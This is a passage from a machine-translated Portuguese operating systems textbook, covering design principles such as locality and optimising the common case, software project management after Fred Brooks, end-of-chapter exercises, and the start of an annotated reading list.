não garante que a página da Web apontada esteja lá. Na verdade, o 
a página apontada pode ter sido removida há 10 anos. Assim as informações sobre o 
apontar página é realmente apenas uma dica. 

As dicas também são usadas em conexão com arquivos remotos. A informação na dica 
informa algo sobre o arquivo remoto, como onde ele está localizado. No entanto, o arquivo 


pode ter sido movido ou excluído desde que a dica foi gravada, portanto, uma verificação é sempre 
preciso ver se está correto. 
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12.4.6 Explorando a Localidade 


Processos e programas não agem aleatoriamente. Eles exibem uma quantidade razoável de 
localidade no tempo e no espaço, e esta informação pode ser explorada de várias maneiras para 
melhorar o desempenho. Um exemplo bem conhecido de localidade espacial é o fato de que 
os processos não saltam aleatoriamente dentro de seus espaços de endereço. Eles tendem a 
use um número relativamente pequeno de páginas durante um determinado intervalo de tempo. As páginas que 
um processo está usando ativamente pode ser anotado como seu conjunto de trabalho, e o sistema operacional 
pode garantir que, quando o processo tiver permissão para ser executado, seu conjunto de trabalho esteja em 
memória, reduzindo assim o número de falhas de página. 

O princípio da localidade também vale para arquivos. Quando um processo seleciona um diretório de 
trabalho específico, é provável que muitas de suas futuras referências de arquivo sejam para 
arquivos nesse diretório. Colocando todos os i-nodes e arquivos de cada diretório fechados 
juntos no disco, melhorias de desempenho podem ser obtidas. Este princípio é 
o que está subjacente ao Berkeley Fast File System (McKusick et al., 1984). 

Outra área em que a localidade desempenha um papel é no escalonamento de threads em 
multiprocessadores. Como vimos no Cap. 8, uma maneira de agendar threads em um multiprocessador é 
tentar executar cada thread na CPU usada pela última vez, na esperança de que alguns de seus 


os blocos de memória ainda estarão no cache de memória. 
12.4.7 Otimize o caso comum 


Frequentemente, é uma boa ideia distinguir entre o caso mais comum e o 
o pior caso possível e tratá-los de forma diferente. Muitas vezes o código para os dois é 
bem diferente. É importante tornar o caso comum rápido. Na pior das hipóteses, se 
ocorre raramente, é suficiente para corrigi-lo. 
Como primeiro exemplo, considere entrar numa região crítica. Na maioria das vezes, o 
entrada será bem-sucedida, especialmente se os processos não gastarem muito tempo dentro de ambientes críticos. 
regiões. O Windows aproveita essa expectativa fornecendo uma chamada WinAPI 
EnterCr iticalSection que testa atomicamente um sinalizador no modo de usuário (usando TSL ou equivalente). 
Se o teste for bem-sucedido, o processo apenas entra na região crítica e nenhum kernel 
é necessária uma chamada. Se o teste falhar, o procedimento da biblioteca desativa um semáforo 
para bloquear o processo. Assim, no caso normal, nenhuma chamada do kernel é necessária. No cap. 2, 


vimos que os futexes no Linux também são otimizados para o caso comum de não contenção. 


Como segundo exemplo, considere configurar um alarme (usando sinais no UNIX). Se não 
alarme está pendente no momento, é simples fazer uma entrada e colocá-la no 
fila do temporizador. Contudo, se um alarme já estiver pendente, ele deverá ser encontrado e 
removido da fila do temporizador. Como a chamada do alarme não especifica se há 
já existe um alarme definido, o sistema deve assumir o pior caso, que existe. Contudo, como na maioria das 
vezes não há nenhum alarme pendente e como a remoção de um alarme existente é dispendiosa, é uma boa 


ideia distinguir estes dois casos. 
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Uma maneira de fazer isso é manter um bit na tabela de processos que informa se um alarme está pendente. 
Se o bit estiver desativado, o caminho mais fácil será seguido (basta adicionar uma nova entrada na fila do 


temporizador sem verificar). Se o bit estiver ativado, a fila do temporizador deverá ser verificada. 


12.5 GESTÃO DE PROJETOS 


Os programadores são otimistas perpétuos. A maioria deles pensa que a maneira de escrever um programa é 
correr até o teclado e começar a digitar. Pouco tempo depois, o programa totalmente depurado é concluído. Para 
programas muito grandes, não funciona assim. Nas seções a seguir, temos algo a dizer sobre o gerenciamento de 


grandes projetos de software, especialmente grandes projetos de sistemas operacionais. 


12.5.1 O Mês do Homem Mítico 


Em seu livro clássico, The Mythical Man Month, Fred Brooks, um dos designers do 0S/360, que mais tarde 
mudou para a academia, aborda a questão de por que é tão difícil construir grandes sistemas operacionais (Brooks, 
1975, 1995) . Quando a maioria dos programadores vê sua afirmação de que os programadores podem produzir 
apenas 1.000 linhas de código depurado por ano em grandes projetos, eles se perguntam se o Prof. Brooks está 
vivendo no espaço sideral, talvez no Planeta Bug. Afinal, a maioria deles consegue se lembrar de uma noite inteira 
quando produziram um programa de 1000 linhas em uma noite. Como essa poderia ser a produção anual de alguém 


que obteve aprovação em Programação 101? 


O que Brooks apontou é que grandes projetos, com centenas de programadores, são completamente diferentes 
de pequenos projetos e que os resultados obtidos em pequenos projetos não se comparam aos grandes. Em um 
projeto grande, gasta-se muito tempo planejando como dividir o trabalho em módulos, especificando cuidadosamente 
os módulos e suas interfaces e tentando imaginar como os módulos irão interagir, mesmo antes do início da 
codificação. Em seguida, os módulos devem ser codificados e depurados isoladamente. Finalmente, os módulos 
devem ser integrados e o sistema como um todo deve ser testado. O caso normal é que cada módulo funcione 


perfeitamente quando testado por si só, mas o sistema trava instantaneamente quando todas as peças são montadas. 


Brooks estimou o trabalho como sendo 


1/3 Planejamento 
Codificação 1/6 
Teste de módulo 1/4 


1/4 Teste do sistema 


Em outras palavras, escrever o código é a parte fácil. O difícil é descobrir quais devem ser os módulos e fazer com 
que o módulo A converse corretamente com o módulo B. Em um pequeno programa escrito por um único programador, 
tudo o que resta é a parte fácil. 

O título do livro de Brooks vem de sua afirmação de que pessoas e tempo não são intercambiáveis. Não existe 


unidade homem-mês. Se um projeto leva 15 
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pessoas 2 anos para construir, é inconcebível que 360 pessoas possam fazê-lo em 1 mês e provavelmente 
não será possível que 60 pessoas o façam em 6 meses. 

Existem três razões para este efeito. Primeiro, o trabalho não pode ser totalmente paralelizado. Até 
que o planejamento seja feito e determinados quais módulos serão necessários e quais serão suas interfaces, 
nenhuma codificação poderá sequer ser iniciada. Num projeto de 2 anos, só o planejamento pode levar 8 
meses. 

Segundo, para utilizar plenamente um grande número de programadores, o trabalho deve ser dividido 
em um grande número de módulos para que todos tenham algo para fazer. Como cada módulo pode interagir 
potencialmente com todos os outros, o número de interações módulo-módulo que precisam ser consideradas 
cresce como o quadrado do número de módulos, ou seja, como o quadrado do número de programadores. 
Essa complexidade rapidamente sai do controle. Medições cuidadosas de 63 projetos de software 
confirmaram que o equilíbrio entre pessoas e meses está longe de ser linear em grandes projetos (Boehm, 
1981). 


Terceiro, a depuração é altamente sequencial. Definir 10 depuradores para um problema não encontra 
o bug 10 vezes mais rápido. Na verdade, 10 depuradores são provavelmente mais lentos que um porque 
perderão muito tempo conversando entre si. 


Brooks resume sua experiência com a troca de pessoas e tempo na Lei de Brooks: 


Adicionar mão de obra a um projeto de software atrasado torna-o mais tarde. 


O problema de adicionar pessoas é que elas têm de ser treinadas no projecto, os módulos têm de ser 
redivididos para corresponder ao maior número de programadores actualmente disponíveis, serão necessárias 
muitas reuniões para coordenar todos os esforços, e assim por diante. 

Abdel-Hamid e Madnick (1991) confirmaram esta lei experimentalmente. Uma maneira ligeiramente irreverente 
de reafirmar a lei de Brooks é 


São necessários 9 meses para ter um filho, não importa quantas mulheres você designe para o 
trabalho. 


12.5.2 Estrutura da Equipe 


Os sistemas operacionais comerciais são grandes projetos de software e invariavelmente exigem 
grandes equipes de pessoas. A qualidade das pessoas é imensamente importante. É sabido há décadas que 
os melhores programadores são 10 vezes mais produtivos do que os maus programadores (Sackman et al., 
1968). O problema é que, quando você precisa de 200 programadores, é difícil encontrar 200 programadores 
de ponta; você tem que se contentar com um amplo espectro de qualidades. 


O que também é importante em qualquer grande projeto de design, software ou outro, é a necessidade 
de coerência arquitetônica. Deve haver uma mente controlando o design. 
Lembre-se sempre de que o camelo é um cavalo desenhado por um comitê. Brooks cita a catedral de Reims, 
na França, como exemplo de um grande projeto que levou décadas para ser construído e no qual os 
arquitetos que vieram depois subordinaram seu desejo de colocar 
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sua marca no projeto para a execução dos planos iniciais do arquiteto. O resultado é um 
coerência arquitetônica incomparável em outras catedrais europeias. 
Na década de 1970, Harlan Mills combinou a observação de que alguns programadores 
são muito melhores que outros com a necessidade de coerência arquitetônica para propor 
o paradigma da equipe de programadores chefes (Baker, 1972). Sua idéia era organizar um 
equipe de programação como uma equipe cirúrgica, e não como uma equipe de abate de porcos. 
Em vez de todos cortarem como loucos, uma pessoa empunha o bisturi. Todos os outros estão lá para 
fornecer suporte. Para um projeto para 10 pessoas, Mills sugeriu o 
estrutura de equipe da Figura 12-10. 


Título Obrigações 


O programador-chefe executa o projeto arquitetônico e escreve o código 


Copiloto Ajuda o programador-chefe e serve como caixa de ressonância 


Administrador Gerencia pessoas, orçamento, espaço, equipamentos, relatórios, etc. 


editor Edita a documentação, que deve ser escrita pelo programador chefe 


Secretários O administrador e o editor precisam cada um de uma secretária 


Mantém os arquivos de código e documentação 


Funcionário do programa k 


ferreiro Fornece todas as ferramentas que o programador chefe precisa 
Testador Testa o código do programador chefe 
Advogado de idiomas Temporário parcial que pode aconselhar o programador-chefe sobre a linguagem 


Figura 12-10. A proposta de Mills para formar uma equipe de programadores-chefe de 10 pessoas. 


Três décadas se passaram desde que isso foi proposto e colocado em produção. 
Algumas coisas mudaram (como a necessidade de um advogado linguístico - C é mais simples 
do que PL/I), mas a necessidade de ter apenas uma mente controlando o design ainda é verdadeira. 
E essa mente deveria ser capaz de trabalhar 100% em design e programação, 
daí a necessidade de pessoal de apoio, embora com a ajuda do computador uma equipe menor seja 
suficiente agora. Mas na sua essência, a ideia ainda é válida. 

Qualquer grande projeto precisa ser organizado como uma hierarquia. No nível inferior estão 
muitas equipes pequenas, cada uma liderada por um programador-chefe. No próximo nível, os grupos 
das equipes deve ser coordenada por um gestor. A experiência mostra que cada pessoa 
você gerencia custos de 10% do seu tempo, portanto, é necessário um gerente em tempo integral para cada 
grupo de 10 equipes. Esses gestores devem ser gerenciados, e assim por diante. 

Brooks observou que as más notícias não sobem bem na árvore. Jerry Saltzer de 
O MIT chamou esse efeito de diodo de más notícias. Nenhum programador-chefe ou seu gerente 
quer dizer ao chefão que o projeto está 4 meses atrasado e não tem nenhuma chance de cumprir o prazo 
porque existe uma tradição de 2.000 anos de 
decapitar o mensageiro que traz más notícias. Como consequência, a gestão de topo geralmente não tem 
conhecimento do estado do projecto porque a realidade real 
o gerente de projeto deseja manter as coisas assim. Quando se torna inegavelmente óbvio 
que o prazo não pode ser cumprido sob quaisquer condições, a alta administração entra em pânico e 
responde adicionando pessoas, momento em que a Lei de Brooks entra em ação. 
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Na prática, as grandes empresas, que têm uma longa experiência na produção de software e sabem 
o que acontece se este for produzido ao acaso, têm tendência a, pelo menos, 
pelo menos tente fazer certo. Em contrapartida, as empresas mais pequenas e mais recentes, que se encontram numa enorme 
pressa para chegar ao mercado, nem sempre tomam o cuidado de produzir seu software com cuidado. 
Essa pressa muitas vezes leva a resultados longe dos ideais. 

Nem Brooks nem Mills previram o crescimento do movimento de código aberto. 
Embora muitos tenham expressado dúvidas (especialmente as grandes empresas líderes de software de 
código fechado), o software de código aberto tem sido um tremendo sucesso. De grande 
servidores a dispositivos embarcados e de sistemas de controle industrial a dispositivos portáteis 
smartphones, o software de código aberto está em toda parte. Grandes empresas como o Google 
e a IBM estão apostando no Linux agora e contribuem fortemente 
código. O que é notável é que os projetos de software de código aberto que foram 
os mais bem-sucedidos usaram claramente o modelo do programador-chefe de ter uma mente 
controlar o projeto arquitetônico (por exemplo, Linus Torvalds para o kernel Linux e 
Richard Stallman para o compilador GNU C). 


12.5.3 O Papel da Experiência 


Ter designers experientes é absolutamente fundamental para qualquer projeto de software. 
Brooks ressalta que a maioria dos erros não está no código, mas no design. O 
os programadores fizeram corretamente o que lhes foi ordenado. O que lhes foi dito para fazer 
estava errado. Nenhuma quantidade de software de teste detectará especificações ruins. 
A solução de Brooks é abandonar o modelo clássico de desenvolvimento ilustrado em 
Figura 12.11(a) e use o modelo da Figura 12.11(b). Aqui a ideia é primeiro escrever um 
programa principal que apenas chama os procedimentos de nível superior, inicialmente fictícios. A partir 
do primeiro dia do projeto, o sistema será compilado e executado, embora não faça nada. Com o passar 
do tempo, módulos reais substituem os manequins. O resultado é que o sistema 
o teste de integração é realizado continuamente, então erros no design aparecem muito 
mais cedo, então o processo de aprendizagem causado por um design ruim começa mais cedo. 
Um pouco de conhecimento é uma coisa perigosa. Brooks observou o que chamou de 
segundo efeito do sistema. Muitas vezes, o primeiro produto produzido por uma equipe de design é 
mínimo porque os designers temem que ele não funcione. Como resultado, eles são 
hesitante em incluir muitos recursos. Se o projeto for bem-sucedido, eles criam um acompanhamento 
sistema. Impressionados com o seu próprio sucesso, na segunda vez os designers incluem todos 
os sinos e assobios que foram intencionalmente deixados de fora na primeira vez. Como resultado, o 
o segundo sistema está inchado e tem um desempenho ruim. Na terceira vez eles são 
preocupados com o fracasso do segundo sistema e estão novamente cautelosos. 
O par CTSS-MULTICS é um exemplo claro. O CTSS foi o primeiro sistema geral de compartilhamento 
de tempo e foi um enorme sucesso, apesar de ter um mínimo de 
funcionalidade. O seu sucessor, MULTICS, era demasiado ambicioso e sofreu muito por isso. 
As ideias eram boas, mas havia muitas coisas novas, então o sistema funcionou 
mal durante anos e nunca foi um sucesso comercial. O terceiro sistema nesta linha 
de desenvolvimento, o UNIX, foi muito mais cauteloso e muito mais bem-sucedido. 
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Programa principal 


Procedimento Procedimento Procedimento 
fictício 1 fictício 2 fictício 3 
Sistema defteste 
Implantar 


(a) (b) 


Figura 12-11. (a) O design de software tradicional progride em etapas. (b) O projeto 
alternativo produz um sistema funcional (que não faz nada) a partir do primeiro dia. 


12.5.4 Sem bala de prata 


Além de The Mythical Man Month, Brooks também escreveu um artigo influente 
chamado No Silver Bullet (Brooks, 1987). Nele, ele argumentou que nenhuma das 
muitas panacéias anunciadas por várias pessoas na época iria gerar uma melhoria de 
ordem de grandeza na produtividade do software dentro de uma década. A experiência 
mostra que ele estava certo. 

Entre as soluções mágicas propostas estavam melhores linguagens de alto nível, 
programação orientada a objetos, inteligência artificial, sistemas especialistas, 
programação automática, programação gráfica, verificação de programas e ambientes 
de programação. Talvez a próxima década seja uma solução mágica, mas talvez 
tenhamos de nos contentar com melhorias graduais e incrementais. 


PROBLEMAS 


1. A Lei de Moore descreve um fenómeno de crescimento exponencial semelhante ao crescimento populacional de uma espécie 
animal introduzida num novo ambiente com alimentos abundantes e sem inimigos naturais. Na natureza, é provável que 
uma curva de crescimento exponencial acabe por se tornar uma curva sigmóide com um limite assintótico quando os 
suprimentos de alimentos se tornam limitantes ou os predadores aprendem a tirar vantagem de novas presas. Discuta 
alguns fatores que podem até limitar a taxa de melhoria do hardware do computador. 


2. Na Figura 12-1, dois paradigmas são mostrados, algorítmico e orientado a eventos. Para cada um dos seguintes tipos de 


programas, qual dos seguintes paradigmas provavelmente será mais fácil de usar? 
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(a) Um compilador. 
(b) Um programa de edição de fotos. (c) 


Um programa de folha de pagamento. 
3. Em alguns dos primeiros Apple Macintoshes, o código GUI estava em ROM. Por que? 


4. Os nomes de arquivos hierárquicos sempre começam no topo da árvore. Considere, por exemplo, o nome do 
arquivo /usr/ast/books/mos5/chap-12 em vez de chap-12/mos2/books/ast/usr. Por outro lado, os nomes 


DNS começam na parte inferior da árvore e vão subindo. Existe alguma razão fundamental para esta 
diferença? 


5. A máxima de Corbato é que o sistema deve fornecer um mecanismo mínimo. Aqui está uma 
lista de chamadas POSIX que também estavam presentes no UNIX Versão 7. Quais são 
redundantes, ou seja, poderiam ser removidas sem perda de funcionalidade porque simples 
combinações de outras poderiam fazer o mesmo trabalho com aproximadamente o mesmo 
desempenho? Access, alar m, chdir, chmod, chown, chroot, close, creat, dup, exec, exit, fentl, 
fork, fstat, ioctl, kill, link, Iseek, mkdir, mknod, open, pause, pipe, read, stat , time, times, 
umask, unlink, utime, wait e wr ite. 


6. Suponha que as camadas 3 e 4 da Figura 12-2 tenham sido trocadas. Que implicações isso teria para o design 
do sistema? 


7. Em um sistema cliente-servidor baseado em microkernel, o microkernel apenas faz a passagem de mensagens 
e nada mais. É possível que os processos do usuário criem e usem semáforos? Se sim, como? Se não, por 
que não? 


8. A otimização cuidadosa pode melhorar o desempenho das chamadas do sistema. Considere o caso em que 
uma chamada de sistema é feita a cada 10 ms. O tempo médio de uma chamada é de 2 ms. Se as chamadas 


do sistema podem ser aceleradas por um fator de dois, quanto tempo leva agora um processo que levou 10 
segundos para ser executado? 


9. Faça uma breve discussão sobre mecanismo versus política no contexto das lojas de varejo. 


10. Os sistemas operacionais geralmente nomeiam em dois níveis diferentes: externo e interno. Quais são as 
diferenças entre esses nomes em relação a 


(a) 
Comprimento? (b) 
Singularidade? (c) Hierarquias? 


11. Uma maneira de lidar com tabelas cujo tamanho não é conhecido antecipadamente é torná-las fixas, mas 
quando uma estiver cheia, substituí-la por uma maior, copiar as entradas antigas para a nova e depois liberar 
a antiga. Quais são as vantagens e desvantagens de fazer o novo com 2x o tamanho do original, em 
comparação com torná-lo apenas 1,5x maior? 


12. Na Figura 12-5, um sinalizador encontrado é usado para informar se o PID foi localizado. Seria possível 
esquecer o found e apenas testar p no final do loop para ver se ele chegou ao fim ou não? 


13. Na Figura 12-6, as diferenças entre o x86 e o UltraSPARC são ocultadas pela compilação condicional. Poderia 
a mesma abordagem ser usada para esconder a diferença entre 
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14. 


15. 


16. 


17. 


18. 


19. 


20. 


21. 


22. 


23. 


24. 


25. 


Máquinas x86 com um disco IDE como único disco e máquinas x86 com um disco SCSI como único disco? Isso pode ser 
uma boa ideia? 


A indireção é uma forma de tornar um algoritmo mais flexível. Tem alguma desvantagem 


tags e, em caso afirmativo, quais são elas? 
Os procedimentos reentrantes podem ter variáveis globais estáticas privadas? Discuta sua resposta. 


A macro da Figura 12-7(b) é claramente muito mais eficiente que o procedimento da Figura 12-7(a). Uma desvantagem, 
porém, é que é difícil de ler. Existem outras desvantagens? Se sim, quais são eles? 


Suponha que precisamos de uma forma de calcular se o número de bits em uma palavra de 32 bits é ímpar ou par. Elabore 
um algoritmo para realizar esse cálculo o mais rápido possível. 
Você pode usar até 256 KB de RAM para tabelas, se necessário. Escreva uma macro para executar seu algoritmo. Crédito 
Extra: Escreva um procedimento para fazer o cálculo fazendo um loop nos 32 bits. Meça quantas vezes sua macro é mais 


rápida que o procedimento. 


Na Figura 12-8, vimos como os arquivos GIF usam valores de 8 bits para indexar em uma paleta de cores. A mesma ideia 
pode ser usada com uma paleta de cores de 16 bits. Sob quais circunstâncias, se houver, uma paleta de cores de 24 bits 
pode ser uma boa ideia? 


Uma desvantagem do GIF é que a imagem deve incluir a paleta de cores, o que aumenta o tamanho do arquivo. Qual é o 
tamanho mínimo de imagem para o qual uma paleta de cores de 8 bits atinge o equilíbrio? Agora repita esta pergunta para 
uma paleta de cores de 16 bits. 


No texto mostramos como o cache de nomes de caminhos pode resultar em uma aceleração significativa ao procurar nomes 
de caminhos. Outra técnica que às vezes é usada é ter um programa daemon que abre todos os arquivos no diretório raiz 
e os mantém abertos permanentemente, para forçar seus i-nodes a ficarem na memória o tempo todo. Fixar os i-nodes 


assim melhora ainda mais a pesquisa de caminho? 


Mesmo que um arquivo remoto não tenha sido removido desde que uma dica foi gravada, ele pode ter sido alterado desde a 
última vez que foi referenciado. Que outras informações poderia ser útil registrar? 


Considere um sistema que acumula referências a arquivos remotos como dicas, por exemplo, como triplos (nome, host 
remoto, nome remoto). É possível que um arquivo remoto seja removido silenciosamente e depois substituído. A dica 
pode então recuperar o arquivo errado. Como esse problema pode ser menos provável de ocorrer? 


No texto afirma-se que a localidade pode muitas vezes ser explorada para melhorar o desempenho. Mas considere um caso 
em que um programa lê a entrada de uma fonte e envia continuamente para dois ou mais arquivos. Uma tentativa de 
aproveitar a localidade no sistema de arquivos pode levar a uma diminuição na eficiência aqui? Existe uma maneira de 


contornar isso? 


Fred Brooks afirma que um programador pode escrever 1.000 linhas de código depurado por ano, mas a primeira versão do 
MINIX (13.000 linhas de código) foi produzida por uma pessoa em menos de três anos. Como você explica essa 


discrepância? 


Usando o número de Brooks de 1.000 linhas de código por programador por ano, faça uma estimativa da quantidade de 
dinheiro necessária para produzir o Windows 11. Suponha que um programador 


Machine Translated by Google 


INDIVÍDUO. 12 PROBLEMAS 1085 


custa US$ 100.000 por ano (incluindo despesas gerais, como computadores, espaço de escritório, apoio de 
secretariado e despesas gerais de gerenciamento). Você acredita nesta resposta? Se não, o que 
pode estar errado com isso? 


26. À medida que a memória fica cada vez mais barata, pode-se imaginar um computador com uma grande memória 
RAM com bateria em vez de um disco rígido. A preços correntes, quanto custaria um 
Custo de PC apenas com RAM de baixo custo? Suponha que um disco RAM de 100 GB seja suficiente para uma 
máquina de baixo custo. Esta máquina provavelmente será competitiva? 


27. Cite alguns recursos de um sistema operacional convencional que não são necessários em um 
sistema embarcado usado dentro de um aparelho. 


28. Escreva um procedimento em C para fazer uma adição de precisão dupla em dois parâmetros dados. 


Escreva o procedimento usando compilação condicional de forma que funcione 
Máquinas de 16 bits e também em máquinas de 32 bits. 


29. Escreva programas que insiram strings curtas geradas aleatoriamente em um array e então possam 
pesquise na matriz uma determinada string usando (a) uma busca linear simples (força bruta) e (b) 
um método mais sofisticado de sua escolha. Recompile seus programas para tamanhos de array 
variando de pequeno a tão grande quanto você pode controlar em seu sistema. Avalie o desempenho de ambas 
as abordagens. Onde está o ponto de equilíbrio? 


30. Escreva um programa para simular um sistema de arquivos na memória. 
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LISTA DE LEITURA E BIBLIOGRAFIA 


Nos 12 capítulos anteriores, abordamos uma variedade de tópicos. Este capítulo 
destina-se a ajudar os leitores interessados em aprofundar seus estudos sobre sistemas 
operacionais. A Seção 13.1 é uma lista de leituras sugeridas. A Seção 13.2 é uma 
bibliografia em ordem alfabética de todos os livros e artigos citados neste livro. 

Além das referências fornecidas abaixo, o Simpósio ACM sobre Princípios de 
Sistemas Operacionais (SOSP), realizado em anos ímpares, e o Simpósio USENIX sobre 
Design e Implementação de Sistemas Operacionais (OSDI), realizado em anos pares, 
são boas fontes para o trabalho contínuo. em sistemas operacionais. A Conferência ACM 
SIGOPS Eurosys e a Conferência Técnica Anual USENIX, realizadas anualmente, também 
são fontes de artigos de primeira linha. Além disso, as revistas ACM Transactions on 
Computer Systems e ACM SIGOPS Operating Systems Review têm frequentemente 
artigos relevantes. Muitas outras conferências ACM, IEEE e USENIX tratam de tópicos 
especializados. 


13.1 SUGESTÕES DE LEITURA ADICIONAL 


Nesta seção, damos algumas sugestões para leituras adicionais. Ao contrário dos 
artigos citados nas seções intituladas "RESEARCH ON..." no texto, que tratam de 
pesquisas atuais, essas referências são em sua maioria de natureza introdutória ou 
tutorial. Eles podem, contudo, servir para apresentar o material deste livro de uma 
perspectiva diferente ou com uma ênfase diferente. 
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13.1.1 Introdução 


Silberschatz et al., Conceitos de sistema operacional, 10º ed. 

Um livro geral sobre sistemas operacionais. Abrange processos, gerenciamento de memória, 
gerenciamento de armazenamento, proteção e segurança, sistemas distribuídos e 
alguns sistemas para fins especiais. São apresentados dois estudos de caso: Linux e Windows. 
A capa está cheia de dinossauros. Esses são animais legados, para enfatizar que os sistemas 
operacionais também carregam muito legado. 


Stallings, Sistemas Operacionais, 9º ed. 
Mais um livro sobre sistemas operacionais. Abrange todos os tópicos tradicionais, 
e também inclui uma pequena quantidade de material sobre sistemas distribuídos. 


Stevens e Rago, Programação Avançada no Ambiente UNIX 
Este livro ensina como escrever programas C que usam a interface de chamada do sistema 
UNIX e a biblioteca C padrão. Os exemplos são baseados no System V Release 4 e 


as versões 4.4BSD do UNIX. A relação dessas implementações com 
POSIX é descrito em detalhes. 


Tanenbaum e Woodhull, Projeto e Implementação de Sistema Operacional 

Uma maneira prática de aprender sobre sistemas operacionais. Este livro discute 
princípios usuais, mas também discute um sistema operacional real, o MINIX 3, em 
grande detalhe e contém uma listagem desse sistema como um apêndice. 


13.1.2 Processos e Threads 


Arpaci-Dusseau e Arpaci-Dusseau, Sistemas Operacionais: Três Peças Fáceis 

Toda a primeira parte deste livro é dedicada à virtualização da CPU para 
compartilhá-lo com vários processos. O que há de bom neste livro (além do fato de que 
existe uma versão online gratuita) é que ele introduz não apenas os conceitos de técnicas de 
processamento e escalonamento, mas também as APIs e chamadas de sistemas como fork e 
exec com alguns detalhes. 


Andrews e Schneider, "Conceitos e notações para programação simultânea" 

Um tutorial e levantamento de processos e comunicação entre processos, incluindo 
espera ocupada, semáforos, monitores, passagem de mensagens e outras técnicas. O 
O artigo também mostra como esses conceitos estão incorporados em diversas linguagens de 
programação. O artigo é antigo, mas resistiu muito bem ao teste do tempo. 


Ben-Ari, Princípios de Programação Simultânea 

Este pequeno livro é inteiramente dedicado aos problemas da comunicação entre processos. 
Há capítulos sobre exclusão mútua, semáforos, monitores e jantares. 
problema dos filósofos, entre outros. Ele também se manteve muito bem ao longo dos anos. 
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Zhuravlev et al., "Pesquisa de técnicas de agendamento para endereçar recursos compartilhados 
em processadores multicore" 

Os sistemas multicore começaram a dominar o campo da computação de uso geral no 
mundo. Um dos desafios mais importantes é a contenção de recursos partilhados. 


Nesta pesquisa, os autores apresentam diferentes técnicas de escalonamento para lidar com tal 
contenção. 


Silberschatz et al., Conceitos de sistema operacional, 102 ed. 

Os Capítulos 3 a 8 cobrem processos e comunicação entre processos, incluindo 
escalonamento, seções críticas, semáforos, monitores e problemas clássicos de comunicação 
entre processos. 


Stratton et al., "Técnicas de Algoritmo e Otimização de Dados para Escalabilidade para Sistemas 
Massivamente Threaded" 

Programar um sistema com meia dúzia de threads já é bastante difícil. Mas o que acontece 
quando você tem milhares deles? Dizer que fica complicado é dizer o mínimo. 
Este artigo fala sobre abordagens que estão sendo adotadas. 


Reghenzani, "O Kernel Linux em Tempo Real: Uma Pesquisa sobre PREEMPT RT” 
Um resumo do trabalho para fornecer funcionalidade em tempo real no sistema operacional 
Linux. 


Schwarzkopf e Bailis, "Pesquisa para Prática: Agendamento de Cluster para Datacenters" 


Agendar em um único núcleo já é bastante difícil. Agora imagine que você precisa fazer isso 
para clusters distribuídos de computadores. Nas próprias palavras dos autores: "Interessado nos 
fundamentos por trás desses sistemas e em como conseguir um agendamento rápido, flexível e 
justo? Malte cuida de você! 


13.1.3 Gerenciamento de memória 


Denning, "Memória Virtual" 
Um artigo clássico sobre muitos aspectos da memória virtual. Peter Denning foi um dos 
os pioneiros neste campo e foi o inventor do conceito de conjunto de trabalho. 


Denning, "Working Sets Past and Present" Outro 

clássico e uma boa visão geral de vários algoritmos de gerenciamento de memória e 
paginação. Uma bibliografia abrangente está incluída. Embora muitos dos artigos sejam antigos, 
os princípios não mudaram em nada. 


Knuth, A Arte da Programação de Computadores, Vol. 1 
Primeiro ajuste, melhor ajuste e outros algoritmos de gerenciamento de memória são 
discutidos e comparados neste livro. 
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Arpaci-Dusseau e Arpaci-Dusseau, "Sistemas Operacionais: Três Peças Fáceis" 
Este livro tem uma seção rica sobre memória virtual nos capítulos 12-23 e 
inclui uma boa visão geral das políticas de substituição de páginas. 


13.1.4 Sistemas de Arquivos 


McKusick et al., "A Fast File System for UNIX" O sistema de 
arquivos UNIX foi completamente refeito para o 4.2 BSD. Este papel 
descreve o design do novo sistema de arquivos, com ênfase em seu desempenho. 


Silberschatz et al., Conceitos de sistema operacional, 10º ed. 
Os capítulos 10 a 12 tratam de hardware de armazenamento e sistemas de arquivos. Eles cobrem 
operações de arquivos, interfaces, métodos de acesso, diretórios e implementação, entre outros tópicos. 


Stallings, Sistemas Operacionais, 9º ed. 
O Capítulo 12 contém bastante material sobre sistemas de arquivos e um pouco sobre sua segurança. 


Cornwell, "Anatomia de uma unidade de estado sólido" 
Se você estiver interessado em unidades de estado sólido, a introdução de Michael Cornwell é um 


bom ponto de partida. Em particular, o autor descreve sucintamente a diferença entre os discos rígidos 
tradicionais e os SSDs. 


Timmer, "Aproximando-se de um sistema de arquivos baseado em 

DNA" Explicamos como os discos estão sendo substituídos por SSD em muitas áreas da computação, 
mas a memória flash também não é o fim da história. Os pesquisadores estão analisando o 
armazenamento em outros meios, como o vidro ou até mesmo o DNA! 


Waddington e Harris, "Desafios de software para o cenário de armazenamento em mudança" Os 
sistemas 

operacionais estão lutando para acompanhar os novos desenvolvimentos em armazenamento. 
Neste artigo, Waddington e Harris nos explicam alguns dos desafios de software para sistemas 
operacionais monolíticos. 


13.1.5 Entrada/Saída 


Geist e Daniel, "Um Continuum de Algoritmos de Agendamento de Disco” 
Um algoritmo generalizado de escalonamento de braço de disco é apresentado. Simulação extensa 
ção e resultados experimentais são fornecidos. 


Scheible, "Uma Pesquisa de Opções de Armazenamento" 
Existem muitas maneiras de armazenar bits hoje em dia: DRAM, SRAM, SDRAM, flash 
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memória, disco rígido, fita e, como vimos anteriormente, até mesmo DNA. Neste artigo, as diversas 
tecnologias são pesquisadas e seus pontos fortes e fracos são destacados. 


Greengard, "O Futuro do Armazenamento de Dados" 

Pode haver muitos materiais novos e sofisticados para armazenar bytes, mas na prática a boa e 
velha fita magnética ainda estará conosco por um longo tempo, explica este artigo. A fita é barata e os 
dados nela contidos permanecem acessíveis por mais tempo do que em muitas outras mídias. 
Também é fácil de usar e gerenciar. 


Stan e Skadron, “Power-Aware Computing” Até que alguém 

consiga aplicar a Lei de Moore às baterias, o uso de energia continuará a ser um grande problema 
em dispositivos móveis. A energia e o calor são tão críticos hoje em dia que os sistemas operacionais 
estão cientes da temperatura da CPU e adaptam seu comportamento a ela. Este artigo examina algumas 
das questões e serve como introdução a cinco outros artigos nesta edição especial da Computer sobre 
computação com reconhecimento de energia. 


Swanson e Caulfield, "Refatorar, Reduzir, Reciclar: Reestruturando a Pilha de E/S para o Futuro do 
Armazenamento" 

Os discos existem por dois motivos: quando a energia é desligada, a RAM perde seu conteúdo. 
Além disso, os discos são muito grandes. Mas suponha que a RAM não perdesse seu conteúdo quando 
desligada? Como isso mudaria a pilha de E/S? A memória não volátil está aqui e este artigo analisa como 
ela altera os sistemas. 


lon, "From Touch Displays to the Surface: A Brief History of Touchscreen Tech." As telas sensíveis ao 

